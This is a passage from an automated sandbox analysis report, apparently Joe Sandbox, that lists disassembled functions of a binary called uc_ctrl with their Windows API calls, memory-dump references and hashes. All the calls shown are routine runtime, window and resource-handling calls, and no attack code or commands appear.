                                                                                              • Instruction Fuzzy Hash: D21152B1900309DBDB08DF94C890AEE77B5AF49368F50455DF9259B790EB30DA06CB51
                                                                                              Function 6CF9B417 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetTopWindow.USER32(00000000), ref: 6CF9B41E
                                                                                              • GetTopWindow.USER32(00000000), ref: 6CF9B461
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF9B483
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window
                                                                                              • String ID:
                                                                                              • API String ID: 2353593579-0
                                                                                              • Opcode ID: bc804a126a5702bfae31dfb91998f963561f493704ba271d77f275dac0788cf8
                                                                                              • Instruction ID: 479e71690d0060b086a1bb0472bd04c96ce1fd7e60fc0642e2ace1a3f955492b
                                                                                              • Opcode Fuzzy Hash: bc804a126a5702bfae31dfb91998f963561f493704ba271d77f275dac0788cf8
                                                                                              • Instruction Fuzzy Hash: 0601043240161ABBEF225FA49C08FDE3B2ABF09359F148914FE1554660C736C931EBA6
                                                                                              Function 6CF986CF Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,?,000000F0), ref: 6CF986F3
                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 6CF986FF
                                                                                              • LockResource.KERNEL32(00000000), ref: 6CF9870C
                                                                                              • FreeResource.KERNEL32(00000000,00000000), ref: 6CF98728
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeLoadLock
                                                                                              • String ID:
                                                                                              • API String ID: 1078018258-0
                                                                                              • Opcode ID: 83b9b8a24da8890fd2dfa5251ce7b80e076316f04f4950fcea182d4dd5bd4a34
                                                                                              • Instruction ID: df1b465f58a1117047fd476ac1130385d2e9bbccf224ef9573d3fe0f653cdff1
                                                                                              • Opcode Fuzzy Hash: 83b9b8a24da8890fd2dfa5251ce7b80e076316f04f4950fcea182d4dd5bd4a34
                                                                                              • Instruction Fuzzy Hash: 64F02836602615AF9B11CB559C84BAFBBBCEF496A4B21002AFD04D7701CF30CC0086A2
                                                                                              Function 6CF987F2 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,?), ref: 6CF987FC
                                                                                              • GetTopWindow.USER32(00000000), ref: 6CF98809
                                                                                                • Part of subcall function 6CF987F2: GetWindow.USER32(00000000,00000002), ref: 6CF98858
                                                                                              • GetTopWindow.USER32(?), ref: 6CF9883D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Item
                                                                                              • String ID:
                                                                                              • API String ID: 369458955-0
                                                                                              • Opcode ID: 0254bba1fe09e64785fad3bc01a4dc3734d4df37a9e27b83b5ea55322b22bcbe
                                                                                              • Instruction ID: fe09406763bfe3cbd6424ba9994fa4481fd5e7ea026ab7707d04d9b6ebe2ec39
                                                                                              • Opcode Fuzzy Hash: 0254bba1fe09e64785fad3bc01a4dc3734d4df37a9e27b83b5ea55322b22bcbe
                                                                                              • Instruction Fuzzy Hash: 94018132905629BFFF122F628C04BCE3A78AF0A7A8F088123FD0595910DB31C511D6B2
                                                                                              Function 6CEDECC8 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDECD2
                                                                                              • memcmp.VCRUNTIME140(?,?), ref: 6CEDECF2
                                                                                              • __crtCompareStringA.MSVCP140(?,00001000,?,?,?,?,00000000), ref: 6CEDED1F
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDED2B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CompareString___lc_collate_cp_func__crt_errnomemcmp
                                                                                              • String ID:
                                                                                              • API String ID: 2059804145-0
                                                                                              • Opcode ID: e734c042111e23e5708fe9353672f03737c607bbf9e2d77ad221406b9fc2b6d5
                                                                                              • Instruction ID: 6b2196801b9ac0bf83a72c330c6282ae52afb4d919f1a83360d046dd23e2f48b
                                                                                              • Opcode Fuzzy Hash: e734c042111e23e5708fe9353672f03737c607bbf9e2d77ad221406b9fc2b6d5
                                                                                              • Instruction Fuzzy Hash: D7F0A9716006416FDB111E6D9C49A9BBA39AB8535CB2B0711FD388BA90EB31D81287D1
                                                                                              Function 00108636 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(00111474,00000000,?,001065FF,001117EC,00109910,00000000), ref: 00108640
                                                                                              • LeaveCriticalSection.KERNEL32(00111474,?,001065FF,001117EC,00109910,00000000), ref: 00108673
                                                                                              • SetEvent.KERNEL32(00000000,001117EC,00109910,00000000), ref: 00108701
                                                                                              • ResetEvent.KERNEL32 ref: 0010870D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalEventSection$EnterLeaveReset
                                                                                              • String ID:
                                                                                              • API String ID: 3553466030-0
                                                                                              • Opcode ID: cbb66eccf4a092a9434b31b382e1036189129e0d1301715ff520c872d2ece153
                                                                                              • Instruction ID: 02a63eb79ba60fba714c876160d60ebc1ff83568174ec583e1b36cd90807243d
                                                                                              • Opcode Fuzzy Hash: cbb66eccf4a092a9434b31b382e1036189129e0d1301715ff520c872d2ece153
                                                                                              • Instruction Fuzzy Hash: 1D018F35A15218EFCB089F68FE58AE5B7B9FB087507018069FA45D7F60CB7068C0CB95
                                                                                              Function 6CF8EC82 Relevance: 6.0, APIs: 4, Instructions: 40memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LocalReAlloc.KERNEL32(?), ref: 6CF8EC88
                                                                                              • LeaveCriticalSection.KERNEL32(?), ref: 6CF8EC97
                                                                                                • Part of subcall function 6CF8FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBD3
                                                                                              • TlsSetValue.KERNEL32(?), ref: 6CF8ECC7
                                                                                              • LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6,?,00000001), ref: 6CF8ECFE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
                                                                                              • String ID:
                                                                                              • API String ID: 4202424549-0
                                                                                              • Opcode ID: df09f48a1e20957093454586d09d03d4aaf99c2811ac6c729a2acde7e86ad577
                                                                                              • Instruction ID: 453253d6e58e1b7d129aa65d484352d81c2b1964acd783d49818542793c3af19
                                                                                              • Opcode Fuzzy Hash: df09f48a1e20957093454586d09d03d4aaf99c2811ac6c729a2acde7e86ad577
                                                                                              • Instruction Fuzzy Hash: 2E014F74501606BFDB08DF25D885E1AFBB5FF45324320C129E85596A20DB31ED20CF91
                                                                                              Function 6CFA46FD Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,?,00000005), ref: 6CFA4717
                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 6CFA471F
                                                                                              • LockResource.KERNEL32(00000000), ref: 6CFA472C
                                                                                              • FreeResource.KERNEL32(00000000,00000000,?,?), ref: 6CFA4744
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeLoadLock
                                                                                              • String ID:
                                                                                              • API String ID: 1078018258-0
                                                                                              • Opcode ID: 9788dc4702e716d83e00ee3c45804c05b8e7d5f8d05744a1d3922b5e55b2833e
                                                                                              • Instruction ID: b2794723f5f99dbf65f10c55cca1fe9106918ecd020663d39ff114ca78790e57
                                                                                              • Opcode Fuzzy Hash: 9788dc4702e716d83e00ee3c45804c05b8e7d5f8d05744a1d3922b5e55b2833e
                                                                                              • Instruction Fuzzy Hash: 69F0B476500114BF8701DBA59C88E9BFBBCEF4A6B5711405AFD0593210DF318D008BA1
                                                                                              Function 6CEEFCC9 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEFCD0
                                                                                              • new.LIBCMT ref: 6CEEFCE4
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEFA06D,00000000), ref: 6CEEFCFE
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                                • Part of subcall function 6CEF8197: __EH_prolog3_catch.LIBCMT ref: 6CEF819E
                                                                                                • Part of subcall function 6CEF8197: _Getcvt.MSVCP140(?,00000034,6CEEFD27), ref: 6CEF81AC
                                                                                                • Part of subcall function 6CEF8197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEEFD27), ref: 6CEF81BB
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000001,0000003C,6CEFA06D,00000000), ref: 6CEEFD32
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 456732743-0
                                                                                              • Opcode ID: f0770a0884aca7ccd71945bae9867f51f64c281ba6c6325cf182af99f4fd4feb
                                                                                              • Instruction ID: b7b7aa79c3d5012d0ad5ab9814883e0091601695f092e03a25c3ebb536cada51
                                                                                              • Opcode Fuzzy Hash: f0770a0884aca7ccd71945bae9867f51f64c281ba6c6325cf182af99f4fd4feb
                                                                                              • Instruction Fuzzy Hash: 09018172A003458BEB14DFA4C8167EDB7F4AF08769F60485DD045A7B81DFB84649C751
                                                                                              Function 6CEEFC53 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEFC5A
                                                                                              • new.LIBCMT ref: 6CEEFC6E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEFA106,00000000), ref: 6CEEFC88
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                                • Part of subcall function 6CEF8197: __EH_prolog3_catch.LIBCMT ref: 6CEF819E
                                                                                                • Part of subcall function 6CEF8197: _Getcvt.MSVCP140(?,00000034,6CEEFD27), ref: 6CEF81AC
                                                                                                • Part of subcall function 6CEF8197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEEFD27), ref: 6CEF81BB
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6CEFA106,00000000), ref: 6CEEFCBB
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 456732743-0
                                                                                              • Opcode ID: 64e9ec6630eb12051283d216447ca27b63248ab98ba6df5691413e966413a03d
                                                                                              • Instruction ID: 724c0603c90af33152142b90fcb773f59b1047a7a4d862a8496aff2153e4827b
                                                                                              • Opcode Fuzzy Hash: 64e9ec6630eb12051283d216447ca27b63248ab98ba6df5691413e966413a03d
                                                                                              • Instruction Fuzzy Hash: E1018172A003458BEB14DFA4C8167EDB7F4AF08769F20485DD041A7B81DF785649C755
                                                                                              Function 6CEFB8B9 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFB8C0
                                                                                              • new.LIBCMT ref: 6CEFB8D4
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEFD737,00000000), ref: 6CEFB8EE
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                                • Part of subcall function 6CEFD282: __EH_prolog3_catch.LIBCMT ref: 6CEFD289
                                                                                                • Part of subcall function 6CEFD282: _Getcvt.MSVCP140(?,00000034,6CEFB917), ref: 6CEFD297
                                                                                                • Part of subcall function 6CEFD282: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEFB917), ref: 6CEFD2A6
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140 ref: 6CEFB922
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
